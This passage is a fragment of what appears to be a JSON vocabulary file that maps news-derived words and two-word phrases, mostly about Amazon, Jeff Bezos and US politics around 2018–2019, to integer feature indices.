calling": 14862, "better requirement": 14863, "allowed merchants": 14864, "additional statement": 14865, "yes mean": 14866, "scrambled": 14867, "887": 14868, "road amazon": 14869, "2018 rainey": 14870, "low balling": 14871, "just kind": 14872, "pres george": 14873, "impact funding": 14874, "industries mytilineos": 14875, "486 times": 14876, "115": 14877, "view president": 14878, "original national": 14879, "step ferociously": 14880, "white home": 14881, "boot camps": 14882, "music offering": 14883, "south east": 14884, "doing favours": 14885, "cah": 14886, "federal officials": 14887, "important day": 14888, "target tech": 14889, "transition": 14890, "dynamics note": 14891, "near arlington": 14892, "jackpot swells": 14893, "wasn worth": 14894, "fewer packages": 14895, "stores doctors": 14896, "veep": 14897, "kilcoyne": 14898, "sellers online": 14899, "couples therapy": 14900, "collusion think": 14901, "mcd fsg": 14902, "iq test": 14903, "822": 14904, "cnnvideoapi": 14905, "autonomy": 14906, "war fears": 14907, "economy accelerates": 14908, "attorneys consider": 14909, "skift called": 14910, "monrovia filmed": 14911, "amazon owner": 14912, "lucrative iphones": 14913, "decide someday": 14914, "peebles": 14915, "successfully including": 14916, "scrap new": 14917, "sales christopher": 14918, "subaru biggest": 14919, "slideshowbillionaire": 14920, "lyft cars": 14921, "shareholders civil": 14922, "accident game": 14923, "tech chiefs": 14924, "rejects push": 14925, "marketplace platform": 14926, "featured conservative": 14927, "children separated": 14928, "penny know": 14929, "nevada latino": 14930, "bezos supports": 14931, "miranda": 14932, "holm": 14933, "seasons takes": 14934, "eyes deceive": 14935, "wonkactivists calling": 14936, "understand vets": 14937, "pressure forced": 14938, "undisclosed bids": 14939, "receives 300": 14940, "twitter attack": 14941, "world champion": 14942, "000 cashierless": 14943, "signature border": 14944, "diverting funds": 14945, "core leader": 14946, "waging": 14947, "apart": 14948, "walker contract": 14949, "m4 w4": 14950, "snarks": 14951, "motors molson": 14952, "final list": 14953, "oil plant": 14954, "article include": 14955, "emily just": 14956, "compulsory viewing": 14957, "demartino": 14958, "word maybe": 14959, "grown": 14960, "institute says": 14961, "bigger deal": 14962, "yangon": 14963, "arun koyyur": 14964, "washington post": 14965, "corporate taxpayer": 14966, "officials cnn": 14967, "law called": 14968, "reportedly spends": 14969, "incite people": 14970, "liking country": 14971, "woman mary": 14972, "freight logistics": 14973, "care trump": 14974, "management consultants": 14975, "beer battle": 14976, "harm local": 14977, "good idea": 14978, "agreement detailing": 14979, "world super": 14980, "2011 returned": 14981, "microvm": 14982, "powers accusations": 14983, "m6a a4ee": 14984, "city homelessness": 14985, "ami boss": 14986, "lost children": 14987, "lover": 14988, "relative term": 14989, "amazon planning": 14990, "term jeff": 14991, "mdc miami": 14992, "micro devices": 14993, "years corporate": 14994, "overview stocks": 14995, "meddling": 14996, "0510s2p totalshtrump": 14997, "volunteer network": 14998, "850 mln": 14999, "started sharing": 15000, "performance record": 15001, "story household": 15002, "clarification": 15003, "survivors say": 15004, "cay johnston": 15005, "just week": 15006, "tara finds": 15007, "140 words": 15008, "kahlo": 15009, "mizuho": 15010, "waltons": 15011, "sales henry": 15012, "nadia": 15013, "risk areas": 15014, "poverty encourage": 15015, "fresh reminders": 15016, "war conquest": 15017, "eighths": 15018, "does": 15019, "america ferrera": 15020, "testing local": 15021, "told flake": 15022, "comprehensive insurance": 15023, "lubin purview": 15024, "armani": 15025, "rebound rally": 15026, "hamas": 15027, "demons volume": 15028, "strips add": 15029, "amazon algorithmically": 15030, "person associated": 15031, "david klion": 15032, "finally provokes": 15033, "shutdown headache": 15034, "opportunity barrons": 15035, "future hq2": 15036, "figures offense": 15037, "jedi powers": 15038, "community benefit": 15039, "grunwald": 15040, "flipkart walmart": 15041, "business offering": 15042, "amazon 165": 15043, "angel 2004": 15044, "including congresswoman": 15045, "strong political": 15046, "spanish empire": 15047, "turkey mashed": 15048, "rushed": 15049, "commission likewise": 15050, "plan started": 15051, "natalie": 15052, "president huddle": 15053, "software capabilities": 15054, "management trump": 15055, "\u0430scary": 15056, "breaking business": 15057, "publishing success": 15058, "politiseeds": 15059, "huppert": 15060, "eating establishment": 15061, "sensitive personally": 15062, "development act": 15063, "business deduction": 15064, "sourcescreen shot": 15065, "eternal": 15066, "royalty payments": 15067, "enquirer places": 15068, "estimize projects": 15069, "shrug": 15070, "helenkennedy": 15071, "hanging": 15072, "propagandists pattern": 15073, "half decades": 15074, "ukraine investigators": 15075, "small sample": 15076, "lot laboratory": 15077, "untruths": 15078, "decades historic": 15079, "tennessee south": 15080, "exxonmobil nyse": 15081, "asked bezos": 15082, "confirms private": 15083, "rained": 15084, "stock began": 15085, "nasdaq msft": 15086, "mcdougal alleged": 15087, "reassessing longer": 15088, "trump alabama": 15089, "political circles": 15090, "alexa device": 15091, "ongoing efforts": 15092, "street fair": 15093, "separate versions": 15094, "don clean": 15095, "year mailing": 15096, "political issues": 15097, "data classified": 15098, "benz plant": 15099, "cardinal sin": 15100, "ways seemingly": 15101, "helmke": 15102, "harsh tone": 15103, "leftist lingo": 15104, "consider leaving": 15105, "darren samuelsohn": 15106, "ice dollar": 15107, "reached just": 15108, "account purportedly": 15109, "gay man": 15110, "duchess meghan": 15111, "valuable report": 15112, "college ocasio": 15113, "regulate campaign": 15114, "clearly define": 15115, "special offers": 15116, "rules relieve": 15117, "students lives": 15118, "ubhi quit": 15119, "store jeff": 15120, "ballistic": 15121, "enemy trump": 15122, "trump ongoing": 15123, "shields georgia": 15124, "family account": 15125, "personal tragedy": 15126, "daily bell": 15127, "funds totaling": 15128, "deterring": 15129, "rusting": 15130, "weapons arsenal": 15131, "promote racist": 15132, "507": 15133, "conspiratorial": 15134, "customs duties": 15135, "started experimenting": 15136, "source getty": 15137, "union council": 15138, "harm low": 15139, "costume based": 15140, "modest given": 15141, "utilities clearly": 15142, "sinclair disgraceful": 15143, "campuses hospitals": 15144, "comprehensive policy": 15145, "helping workers": 15146, "thousand central": 15147, "olympic medals": 15148, "200 share": 15149, "d4a f4a": 15150, "streak": 15151, "updated version": 15152, "reports note": 15153, "inner city": 15154, "continue selling": 15155, "bad way": 15156, "disappointed according": 15157, "barbara bush": 15158, "maye associated": 15159, "obligations mandated": 15160, "google according": 15161, "touching export": 15162, "miraculous stem": 15163, "close second": 15164, "president added": 15165, "start losing": 15166, "good philanthropic": 15167, "superstorm sandy": 15168, "distribution world": 15169, "loa observatory": 15170, "cotton compression": 15171, "president female": 15172, "renovating keyarena": 15173, "boxes source": 15174, "estimize": 15175, "emergency wisconsin": 15176, "digital charging": 15177, "epa announced": 15178, "staged protests": 15179, "staff nuts": 15180, "logging": 15181, "card generally": 15182, "abortion campaign": 15183, "apostle isn": 15184, "provide predictable": 15185, "direct messaging": 15186, "company wrote": 15187, "surpass heart": 15188, "privately owned": 15189, "news rundown": 15190, "ambitiousness": 15191, "wildfire crews": 15192, "otherearth": 15193, "somebody handing": 15194, "cloud competitors": 15195, "paterson animal": 15196, "granting": 15197, "city communities": 15198, "major distributors": 15199, "assist voice": 15200, "1953": 15201, "outlast": 15202, "3k": 15203, "patriot bowlers": 15204, "police search": 15205, "sharp edged": 15206, "turnaround ceo": 15207, "lure businesses": 15208, "nth photo": 15209, "particularly warehouse": 15210, "know means": 15211, "amazon invests": 15212, "right cares": 15213, "employees feel": 15214, "short stint": 15215, "preemptive assassination": 15216, "general assembly": 15217, "tower flagship": 15218, "alleged problems": 15219, "hedging costs": 15220, "president": 15221, "providing amazon": 15222, "available delivering": 15223, "misheard demand": 15224, "reports facebook": 15225, "lnolan breitbart": 15226, "meddling issue": 15227, "immigration project": 15228, "little does": 15229, "original leaks": 15230, "foreign": 15231, "bulk delivery": 15232, "brandeis university": 15233, "data added": 15234, "mister trump": 15235, "ceo announced": 15236, "amazon harshest": 15237, "national spotlight": 15238, "llc marking": 15239, "sally": 15240, "company alfresco": 15241, "aggressive push": 15242, "accounts especially": 15243, "recently exposed": 15244, "popular company": 15245, "merely": 15246, "vet brennan": 15247, "fundraiser": 15248, "steeper": 15249, "sourcereuters": 15250, "sales totals": 15251, "bipartisan members": 15252, "frequently links": 15253, "pick later": 15254, "absorb": 15255, "600 retail": 15256, "film shocked": 15257, "syndicated court": 15258, "james norton": 15259, "sandy beach": 15260, "worker": 15261, "steady decline": 15262, "overshadowed slightly": 15263, "valenti": 15264, "delrahim trump": 15265, "including using": 15266, "world charlotte": 15267, "settlement agreement": 15268, "discuss border": 15269, "headlines detailing": 15270, "force immigration": 15271, "company assessing": 15272, "artillery": 15273, "218 points": 15274, "racially": 15275, "moscow hotel": 15276, "motives underpin": 15277, "devitt wrote": 15278, "book 1984": 15279, "growth shows": 15280, "morgan senior": 15281, "cooper profile": 15282, "marginalized": 15283, "rosenthal paris": 15284, "japanese university": 15285, "mma supporters": 15286, "damn": 15287, "mouth piece": 15288, "husband abroad": 15289, "marillyn lockheed": 15290, "kavanaugh michael": 15291, "official conduct": 15292, "dollars earned": 15293, "countless best": 15294, "reports newt": 15295, "wang amy": 15296, "son beau": 15297, "pubic company": 15298, "foxes": 15299, "pj media": 15300, "gamble strong": 15301, "pentagon aims": 15302, "promotion ripple": 15303, "false inc_react_displayflag": 15304, "ag appointment": 15305, "officially facebook": 15306, "want information": 15307, "appointment michelle": 15308, "enquirer close": 15309, "washington nov": 15310, "exas": 15311, "stranger amazon": 15312, "comment carmakers": 15313, "retailer aside": 15314, "subscribers delivering": 15315, "wife makenzie": 15316, "greed ambition": 15317, "struggling susie": 15318, "weaker consumer": 15319, "bezos virgin": 15320, "china adam": 15321, "decent reason": 15322, "disaster just": 15323, "happen severe": 15324, "enforcement consumers": 15325, "company telling": 15326, "underrepresented backgrounds": 15327, "honduran president": 15328, "florida year": 15329, "survivor feels": 15330, "automatic checkout": 15331, "alienist": 15332, "customers nonbinary": 15333, "bolts": 15334, "fully knowing": 15335, "aws surprised": 15336, "companies aspx": 15337, "compatible 4k": 15338, "slight alterations": 15339, "discussing industry": 15340, "licensors amazon": 15341, "competitors using": 15342, "interlocking red": 15343, "steve kovach": 15344, "measure sponsor": 15345, "pompeo iran": 15346, "mention raising": 15347, "typeface": 15348, "consolidated financial": 15349, "seams airlines": 15350, "fame earlier": 15351, "fcs": 15352, "technologies": 15353, "imagealt imageurl": 15354, "gross": 15355, "grave mistake": 15356, "network marcus": 15357, "counter": 15358, "michelle netflix": 15359, "reforms amazon": 15360, "goods according": 15361, "early stage": 15362, "overlap": 15363, "remarkably consistent": 15364, "suppress speech": 15365, "profanity vulgarity": 15366, "widespread problems": 15367, "city surging": 15368, "hopes reuters": 15369, "including freshman": 15370, "i8 s5": 15371, "czech politics": 15372, "insurance programs": 15373, "helicopter pilot": 15374, "items emblazoned": 15375, "hanky": 15376, "currently names": 15377, "used inappropriately": 15378, "branding": 15379, "bank abominably": 15380, "singh lights": 15381, "giant ramps": 15382, "018": 15383, "progress just": 15384, "737 model": 15385, "packages set": 15386, "aggressively amazon": 15387, "charms": 15388, "komonews": 15389, "received 000": 15390, "underway today": 15391, "global leadership": 15392, "evansiegfried": 15393, "month sanders": 15394, "long acting": 15395, "incendiary": 15396, "playing hardball": 15397, "litigation reform": 15398, "alexa flash": 15399, "northland": 15400, "offline distribution": 15401, "single act": 15402, "query": 15403, "states irs": 15404, "eunice yoon": 15405, "england": 15406, "gazette": 15407, "messy truth": 15408, "raises suspicions": 15409, "rotting trash": 15410, "inane patent": 15411, "network aired": 15412, "alvarez": 15413, "skepticism": 15414, "nonconsensual": 15415, "needs helicopter": 15416, "sales decline": 15417, "incumbents": 15418, "capture commerce": 15419, "entire story": 15420, "averaged robust": 15421, "emails normally": 15422, "learn noam": 15423, "congressman serrano": 15424, "ruin nyc": 15425, "web euro": 15426, "880": 15427, "longtime state": 15428, "receiving account": 15429, "platform finally": 15430, "articlepage": 15431, "christian bale": 15432, "scrappy": 15433, "science grammar": 15434, "babis denies": 15435, "established brazil": 15436, "corporations avoiding": 15437, "just handed": 15438, "comforting": 15439, "filing late": 15440, "autonomous decisions": 15441, "decreased ishares": 15442, "split location": 15443, "stay lawsuit": 15444, "csr secure": 15445, "sales consumers": 15446, "dis mac": 15447, "playbook florida": 15448, "using paper": 15449, "source photographer": 15450, "does make": 15451, "growth process": 15452, "hotspot soy": 15453, "later updated": 15454, "post savoring": 15455, "pre scripted": 15456, "facilities trump": 15457, "comparable store": 15458, "meltingly awful": 15459, "live little": 15460, "actually turn": 15461, "soldier returns": 15462, "evidence suggests": 15463, "news 2019": 15464, "blaring headline": 15465, "nuclear disarmament": 15466, "initial reports": 15467, "colorado springs": 15468, "cortez appear": 15469, "tragedies caused": 15470, "stock currently": 15471, "hq2 lands": 15472, "rules online": 15473, "crawdads": 15474, "year sale": 15475, "metals announces": 15476, "keenly": 15477, "based retailer": 15478, "time looks": 15479, "agenda walmart": 15480, "fund includes": 15481, "restroom": 15482, "prayer phil": 15483, "enterprise instead": 15484, "workplace": 15485, "risks rewards": 15486, "report wage": 15487, "enjoys": 15488, "fires": 15489, "hoist": 15490, "companies collapse": 15491, "apnews": 15492, "arkells gracious": 15493, "000 fewer": 15494, "monitored amazon": 15495, "investment cycle": 15496, "threatened tariffs": 15497, "american nathan": 15498, "enquirer richter": 15499, "aggressively driving": 15500, "printing fake": 15501, "design homebody": 15502, "seek brexit": 15503, "stanley relies": 15504, "picking martha": 15505, "morison": 15506, "daily today": 15507, "cheryl": 15508, "cybersecurity social": 15509, "financial struggle": 15510, "ai index": 15511, "does count": 15512, "overdone": 15513, "3pm": 15514, "environment cristina": 15515, "beat trump": 15516, "ongoing federal": 15517, "fetuses": 15518, "headlines including": 15519, "book existence": 15520, "phony faux": 15521, "did pretty": 15522, "mexico according": 15523, "obama maxine": 15524, "66bn": 15525, "week kaitlyn": 15526, "nsa program": 15527, "best hopes": 15528, "leave": 15529, "administration reportedly": 15530, "c5 capital": 15531, "massive pic": 15532, "denied wrongdoing": 15533, "passy happy": 15534, "rapid assessment": 15535, "nyse wespac": 15536, "photo amazon": 15537, "labour tory": 15538, "major apple": 15539, "separated": 15540, "posted comments": 15541, "vendors lot": 15542, "allegedly sold": 15543, "tremendous innovation": 15544, "pleased photos": 15545, "different backgrounds": 15546, "policy principles": 15547, "tangible": 15548, "unhinged mob": 15549, "giants novartis": 15550, "distrust": 15551, "overall national": 15552, "chips hardware": 15553, "exclusively upward": 15554, "adi": 15555, "employee morale": 15556, "globalised": 15557, "pushing cruz": 15558, "biodiversity": 15559, "expansion untethered": 15560, "queens neighborhood": 15561, "duckworth": 15562, "weeks key": 15563, "withdraws arizona": 15564, "outdoor trade": 15565, "consistently": 15566, "trump keeps": 15567, "ag": 15568, "papes mailbag": 15569, "maintain hare": 15570, "hyperinflation": 15571, "president rosenstein": 15572, "eurovision song": 15573, "agile way": 15574, "stepmother discovered": 15575, "strike balance": 15576, "kneeling": 15577, "immigration plan": 15578, "retailers formed": 15579, "arloc": 15580, "news joke": 15581, "fbr slashed": 15582, "celebrities including": 15583, "utterly rich": 15584, "deedee": 15585, "trump changed": 15586, "play financial": 15587, "indirect attack": 15588, "historical yelp": 15589, "st martin": 15590, "offered houses": 15591, "rape charges": 15592, "declared monopoly": 15593, "attend transfer": 15594, "leaning think": 15595, "allegedly accepting": 15596, "spokeswoman elissa": 15597, "strong return": 15598, "eric brackett": 15599, "search dogs": 15600, "getting absolutely": 15601, "cta": 15602, "expected currency": 15603, "pollster": 15604, "turn tail": 15605, "day met": 15606, "times clark": 15607, "kids multiplication": 15608, "climbed higher": 15609, "blog bezos": 15610, "fell following": 15611, "2017 bezos": 15612, "dollop": 15613, "profile congresswoman": 15614, "used mattress": 15615, "donathan hurley": 15616, "publication claimed": 15617, "rising trade": 15618, "lentz": 15619, "thirstiest ways": 15620, "state known": 15621, "dead student": 15622, "salesforce chairman": 15623, "jquery document": 15624, "advisory committee": 15625, "market fear": 15626, "venture group": 15627, "provision limiting": 15628, "monitor stand": 15629, "whistleblower": 15630, "investigators working": 15631, "bio follow": 15632, "2019 variously": 15633, "grave illness": 15634, "capital circle": 15635, "present opponents": 15636, "blair interview": 15637, "postmaster megan": 15638, "strategy london": 15639, "claimed various": 15640, "dpsrc": 15641, "feels ready": 15642, "potential price": 15643, "share buybacks": 15644, "published images": 15645, "disenfranchised": 15646, "fakenews washington": 15647, "tohakrvr4h": 15648, "center employees": 15649, "taiga": 15650, "browsing records": 15651, "apple trades": 15652, "person smart": 15653, "reiley": 15654, "nomination planned": 15655, "money people": 15656, "ancillary jobs": 15657, "inland historical": 15658, "gettingit": 15659, "200 square": 15660, "important point": 15661, "wars ish": 15662, "city trump": 15663, "gentrifying space": 15664, "shipping trump": 15665, "undertake": 15666, "chris green": 15667, "operating": 15668, "personal according": 15669, "presidential directive": 15670, "information suggests": 15671, "resistance fighters": 15672, "lion new": 15673, "doesn allow": 15674, "deadly lion": 15675, "open insult": 15676, "bezos explained": 15677, "minute entertainment": 15678, "george pell": 15679, "incrementally": 15680, "cramer boot": 15681, "ordered reported": 15682, "team takes": 15683, "digital wallets": 15684, "howard paul": 15685, "obligations postmaster": 15686, "ubereats amazon": 15687, "aclu directed": 15688, "midterms voters": 15689, "long lasting": 15690, "lander brought": 15691, "videocmsuri videos": 15692, "subsidies wyden": 15693, "corporate equality": 15694, "originally granted": 15695, "ali": 15696, "california filed": 15697, "reasons large": 15698, "bezos feels": 15699, "ticked": 15700, "technews samsung": 15701, "ceramic blade": 15702, "digging": 15703, "potentially ending": 15704, "targeted ads": 15705, "tastes": 15706, "beleaguered tenure": 15707, "polls showed": 15708, "meeting possible": 15709, "second quarter": 15710, "seconds indonesia": 15711, "broad political": 15712, "enquirer proudly": 15713, "amazon policing": 15714, "2019 haymarket": 15715, "wrangles": 15716, "investing article": 15717, "comity": 15718, "cohen committed": 15719, "wireless service": 15720, "game preorder": 15721, "proposal followed": 15722, "pushing amnesty": 15723, "deprive": 15724, "final thoughts": 15725, "daniel dromm": 15726, "powered search": 15727, "ustr": 15728, "pair": 15729, "obstruction": 15730, "retail store": 15731, "washington think": 15732, "soy growers": 15733, "inbox subscribe": 15734, "following sharp": 15735, "nast editors": 15736, "creditjohannes": 15737, "improve rail": 15738, "future cloud": 15739, "represent political": 15740, "including actual": 15741, "publishing company": 15742, "technology new": 15743, "kerfuffle": 15744, "c6": 15745, "sen bob": 15746, "trump chief": 15747, "rating followed": 15748, "somber tributes": 15749, "age original": 15750, "previously determined": 15751, "mvp": 15752, "different times": 15753, "consuming process": 15754, "506": 15755, "ut prunderground": 15756, "circulating photo": 15757, "individual operations": 15758, "hightower lowdown": 15759, "immigration speaking": 15760, "frankly don": 15761, "downie": 15762, "motogp": 15763, "tyger manufacturing": 15764, "year irish": 15765, "photo01": 15766, "650": 15767, "growth hottovy": 15768, "act cost": 15769, "story netflix": 15770, "retirees": 15771, "federal food": 15772, "broad measure": 15773, "post presidential": 15774, "operations teams": 15775, "hanson senior": 15776, "prohibitive industry": 15777, "visual aids": 15778, "skin mit": 15779, "department russia": 15780, "temporarily banned": 15781, "2019 dressing": 15782, "kyle daly": 15783, "calls trying": 15784, "emails texts": 15785, "toilet scrubbed": 15786, "suitors": 15787, "devel read": 15788, "arabia amazon": 15789, "marjory": 15790, "republican hates": 15791, "amazon machine": 15792, "living artist": 15793, "67th edition": 15794, "israel occupies": 15795, "david streitfeld": 15796, "markets list": 15797, "coltin tweeted": 15798, "received": 15799, "davidson whirlwind": 15800, "rentals": 15801, "loud tone": 15802, "york 21st": 15803, "cbc news": 15804, "jonathan hoenig": 15805, "widespread outages": 15806, "mediamatters": 15807, "1982": 15808, "commerce sanders": 15809, "critics euro": 15810, "rhetoric saying": 15811, "lola": 15812, "new apartments": 15813, "bezos saying": 15814, "fascist": 15815, "686": 15816, "getting personal": 15817, "david lynch": 15818, "chestnut rubber": 15819, "past helping": 15820, "netflix samin": 15821, "000 mugshots": 15822, "unreleased rainy": 15823, "tremendous growth": 15824, "pyeongchang south": 15825, "manage drivers": 15826, "walmart eliminating": 15827, "studiously avoids": 15828, "unscathed": 15829, "surprisingly kept": 15830, "reconsider company": 15831, "congressional tormentors": 15832, "centers manufacturing": 15833, "netflix therese": 15834, "trappings": 15835, "writers ovide": 15836, "indices": 15837, "bowden": 15838, "error frequently": 15839, "unemployment": 15840, "___ stephen": 15841, "postal charges": 15842, "chief christine": 15843, "india prompting": 15844, "needlessly threatens": 15845, "data plans": 15846, "cdn": 15847, "itep shows": 15848, "poll numbers": 15849, "umizoomi": 15850, "house barbara": 15851, "services industry": 15852, "suggest technical": 15853, "isolation continue": 15854, "unfairly pushing": 15855, "300": 15856, "strong revenue": 15857, "films focus": 15858, "question relative": 15859, "facing confidence": 15860, "pictures published": 15861, "mod hp_listb_pos2": 15862, "antitrust professor": 15863, "clearing skies": 15864, "1527845402": 15865, "hq2 choice": 15866, "csco guidance": 15867, "lordstown": 15868, "week tonight": 15869, "continues tariff": 15870, "alphabet alphabet": 15871, "evidence sanders": 15872, "correctly assessing": 15873, "david atkins": 15874, "bezos people": 15875, "neurological disorder": 15876, "jobs gates": 15877, "markowitz": 15878, "sophomores": 15879, "police board": 15880, "theory alleging": 15881, "equity prices": 15882, "cloud africa": 15883, "years despite": 15884, "provision asserting": 15885, "series big": 15886, "arrest michael": 15887, "postage online": 15888, "113": 15889, "jan ubs": 15890, "citizens reach": 15891, "reach billion": 15892, "outperform apr": 15893, "turned madame": 15894, "law tu": 15895, "steinle": 15896, "treasury markets": 15897, "2017 inauguration": 15898, "randomly selected": 15899, "digital genies": 15900, "content delivery": 15901, "spelling fang": 15902, "navarro did": 15903, "cloudtail": 15904, "peoples told": 15905, "hay": 15906, "people best": 15907, "military build": 15908, "100m commitment": 15909, "interfere heavily": 15910, "damodaran professor": 15911, "constraints doctor": 15912, "analysts reckon": 15913, "minimize pay": 15914, "alcoa previously": 15915, "effect 2018": 15916, "mississippi": 15917, "job protections": 15918, "rumors swirled": 15919, "poland vice": 15920, "pathetic": 15921, "kanter": 15922, "secondhand cupboard": 15923, "substantially reduced": 15924, "1047et copyright": 15925, "vast commerce": 15926, "rape criminal": 15927, "underrepresented segments": 15928, "given": 15929, "nyc says": 15930, "cnl_global_nav_background_gradient_end null": 15931, "moynihan": 15932, "washington sized": 15933, "internal axe": 15934, "katie yu": 15935, "democrats following": 15936, "slaughtering animals": 15937, "commissioner told": 15938, "eve amp": 15939, "18125765": 15940, "amazon aapl": 15941, "exactly 000": 15942, "collom": 15943, "marked shift": 15944, "generation listers": 15945, "heeled audience": 15946, "policy phil": 15947, "address currently": 15948, "dismiss oracle": 15949, "denounced amazon": 15950, "point ap": 15951, "fd": 15952, "days following": 15953, "house lawyer": 15954, "epa dismiss": 15955, "thiel admitted": 15956, "big bezos": 15957, "kiesling": 15958, "startup companies": 15959, "sellers according": 15960, "slogan inquiring": 15961, "la tercera": 15962, "damaging new": 15963, "relationship including": 15964, "position outside": 15965, "twitter lucasnolan": 15966, "house midterm": 15967, "growing controversy": 15968, "textbook example": 15969, "fed survey": 15970, "lowering drug": 15971, "matter concerned": 15972, "coniam": 15973, "company regardless": 15974, "distributors promoting": 15975, "foot warehouse": 15976, "hourly average": 15977, "amazon motley": 15978, "longtime trump": 15979, "war developments": 15980, "consumption growth": 15981, "report brennan": 15982, "threaten berlin": 15983, "anheuser busch": 15984, "overnight declines": 15985, "funnier": 15986, "analyst amazon": 15987, "awards season": 15988, "users fortnite": 15989, "swish kalorama": 15990, "bram": 15991, "today content": 15992, "saying word": 15993, "repeatedly stated": 15994, "amazon trade": 15995, "head scott": 15996, "allies washington": 15997, "start transferring": 15998, "northgate lynwood": 15999, "tenth suspicious": 16000, "chain based": 16001, "bogle criticisms": 16002, "project fi": 16003, "member responded": 16004, "position familiar": 16005, "screen competitor": 16006, "earnings today": 16007, "house antitrust": 16008, "castigated": 16009, "music audible": 16010, "cities deliveroo": 16011, "profile campaign": 16012, "using jeff": 16013, "months felt": 16014, "org apr": 16015, "rizer spokesperson": 16016, "tv attorney": 16017, "canceling salute": 16018, "share war": 16019, "decisive": 16020, "revenue soared": 16021, "decade washington": 16022, "sul reserve": 16023, "wrap quoted": 16024, "far outperformed": 16025, "broken meet": 16026, "indigenous peoples": 16027, "childhood arrivals": 16028, "poorer residents": 16029, "chevron heavily": 16030, "unseated": 16031, "broad approval": 16032, "matter immigration": 16033, "rodrigo sweep": 16034, "amazon program": 16035, "lawsuit purdue": 16036, "rsa recovered": 16037, "allow functionality": 16038, "farhad": 16039, "d8 l8": 16040, "duplicitous characters": 16041, "dominated space": 16042, "environmental crimes": 16043, "gates euro": 16044, "times describes": 16045, "really moves": 16046, "5ff1b69e": 16047, "normally 250": 16048, "china adds": 16049, "reports second": 16050, "city unidentified": 16051, "follow city": 16052, "online emporium": 16053, "defaults mnuchin": 16054, "trumpist": 16055, "trade agenda": 16056, "hardline immigration": 16057, "read boy": 16058, "lumbering": 16059, "madness donald": 16060, "wholesome recipes": 16061, "temperatures polar": 16062, "briefing room": 16063, "snapchat parent": 16064, "upended bricks": 16065, "require senate": 16066, "sources reports": 16067, "isn working": 16068, "action alerts": 16069, "jessicabruder edit": 16070, "company cause": 16071, "ami sources": 16072, "old amazon": 16073, "bnsf": 16074, "g0": 16075, "speaker ryan": 16076, "great multiplayer": 16077, "convicted british": 16078, "warmer includes": 16079, "office press": 16080, "2f4": 16081, "results flood": 16082, "exclusive trump": 16083, "regime spy": 16084, "ross sorkin": 16085, "100008240777381 posts": 16086, "involved 96th": 16087, "times feature": 16088, "took concrete": 16089, "bank closely": 16090, "israel independence": 16091, "haven revealed": 16092, "french pastry": 16093, "consumers jonestrading": 16094, "access today": 16095, "washingtonian magazine": 16096, "year case": 16097, "producer peter": 16098, "try": 16099, "company hq2": 16100, "contact supplier": 16101, "episode titled": 16102, "springs boulevard": 16103, "political commentary": 16104, "later": 16105, "amzn finished": 16106, "newly discovered": 16107, "soon lead": 16108, "drinks": 16109, "phone market": 16110, "cheraw": 16111, "locals popped": 16112, "snl clearly": 16113, "pushed higher": 16114, "bezos lost": 16115, "democrats release": 16116, "states react": 16117, "songwriters": 16118, "yellow line": 16119, "faux lego": 16120, "losing dominance": 16121, "energy industry": 16122, "powerful supervisors": 16123, "tweet just": 16124, "sophisticated": 16125, "prosecutors agreed": 16126, "chicago suntimes": 16127, "leader george": 16128, "chases": 16129, "democrats unwillingness": 16130, "kept new": 16131, "publication president": 16132, "means available": 16133, "commerce vendor": 16134, "troubled investment": 16135, "lima 04m": 16136, "minded trump": 16137, "reputable voices": 16138, "philippine rebels": 16139, "5bn packages": 16140, "jobs oracle": 16141, "stevens says": 16142, "security latest": 16143, "nude photographs": 16144, "mitsui tru": 16145, "point haverty": 16146, "muckerman": 16147, "major initiatives": 16148, "perceived political": 16149, "alive worth": 16150, "desk space": 16151, "ehealth": 16152, "consulting": 16153, "capital murder": 16154, "professor brian": 16155, "ebay decade": 16156, "near oxford": 16157, "updated echo": 16158, "important subjects": 16159, "tax giving": 16160, "master meal": 16161, "dead according": 16162, "finance taxes": 16163, "latest jones": 16164, "cod": 16165, "board hundreds": 16166, "companies social": 16167, "whitehouse": 16168, "privacy storm": 16169, "vaping": 16170, "power line": 16171, "cash money": 16172, "young audience": 16173, "square labs": 16174, "breezing": 16175, "2750521 announced": 16176, "billion steve": 16177, "original hartnell": 16178, "parade truly": 16179, "edition tech": 16180, "eliminate competitors": 16181, "lasser": 16182, "dan colarusso": 16183, "336 million": 16184, "units amazon": 16185, "marketplace amazon": 16186, "throats": 16187, "deal killer": 16188, "boycott trump": 16189, "h0 j8i": 16190, "dubbed amazon": 16191, "restructuring retiree": 16192, "trump increases": 16193, "recently filed": 16194, "boulevard crossing": 16195, "isn generating": 16196, "flies solo": 16197, "axel springer": 16198, "common retirement": 16199, "white morons": 16200, "john locher": 16201, "dent": 16202, "cultural applications": 16203, "campaigning": 16204, "showboating": 16205, "2019 washington": 16206, "michele": 16207, "centrist": 16208, "harassed": 16209, "peters": 16210, "voluntarily handed": 16211, "commissioner rohit": 16212, "push falters": 16213, "switch 2018": 16214, "amazon brennan": 16215, "city gov": 16216, "photo china": 16217, "union facebook": 16218, "cuomo offices": 16219, "save little": 16220, "bamco": 16221, "amazon antitrust": 16222, "sweeping crackdowns": 16223, "tiny tyrannosaur": 16224, "2018 saying": 16225, "subsidizing amazon": 16226, "krzanich": 16227, "reasons rolling": 16228, "natural rivals": 16229, "natural speech": 16230, "news app": 16231, "laden queens": 16232, "smore": 16233, "gentleman standing": 16234, "2018 legal": 16235, "prices widens": 16236, "consumers": 16237, "culture bezos": 16238, "thenational enquirer": 16239, "ice day": 16240, "physical gross": 16241, "availing": 16242, "90s manhattan": 16243, "lords": 16244, "totally legit": 16245, "taseer aatish": 16246, "usually dealt": 16247, "employees voicing": 16248, "destabilization": 16249, "255 raised": 16250, "say jeff": 16251, "teams": 16252, "cutters news": 16253, "invent conference": 16254, "absurdly": 16255, "extensive assistance": 16256, "recommendation algorithm": 16257, "favorite service": 16258, "sanctions lifted": 16259, "giovanni ribisi": 16260, "monitor": 16261, "despite shelling": 16262, "play comments": 16263, "political fits": 16264, "rounds amazon": 16265, "billion 210": 16266, "article body": 16267, "trump animosity": 16268, "ranking congressional": 16269, "promising unbelievable": 16270, "1117161568 d1a": 16271, "impossible": 16272, "training programs": 16273, "explicit text": 16274, "isac": 16275, "investigative journalist": 16276, "caller felt": 16277, "lovingly": 16278, "including amazon": 16279, "unsynchronized": 16280, "geofenced areas": 16281, "susana mendoza": 16282, "the\u0430wary \u0430scary": 16283, "current financial": 16284, "shock disgust": 16285, "thing gw": 16286, "told techcrunch": 16287, "using novel": 16288, "sawant routinely": 16289, "available thanks": 16290, "liberator cody": 16291, "brewer jamie": 16292, "net larry": 16293, "testimony google": 16294, "major trip": 16295, "paced environment": 16296, "nomadic americans": 16297, "issue orianna": 16298, 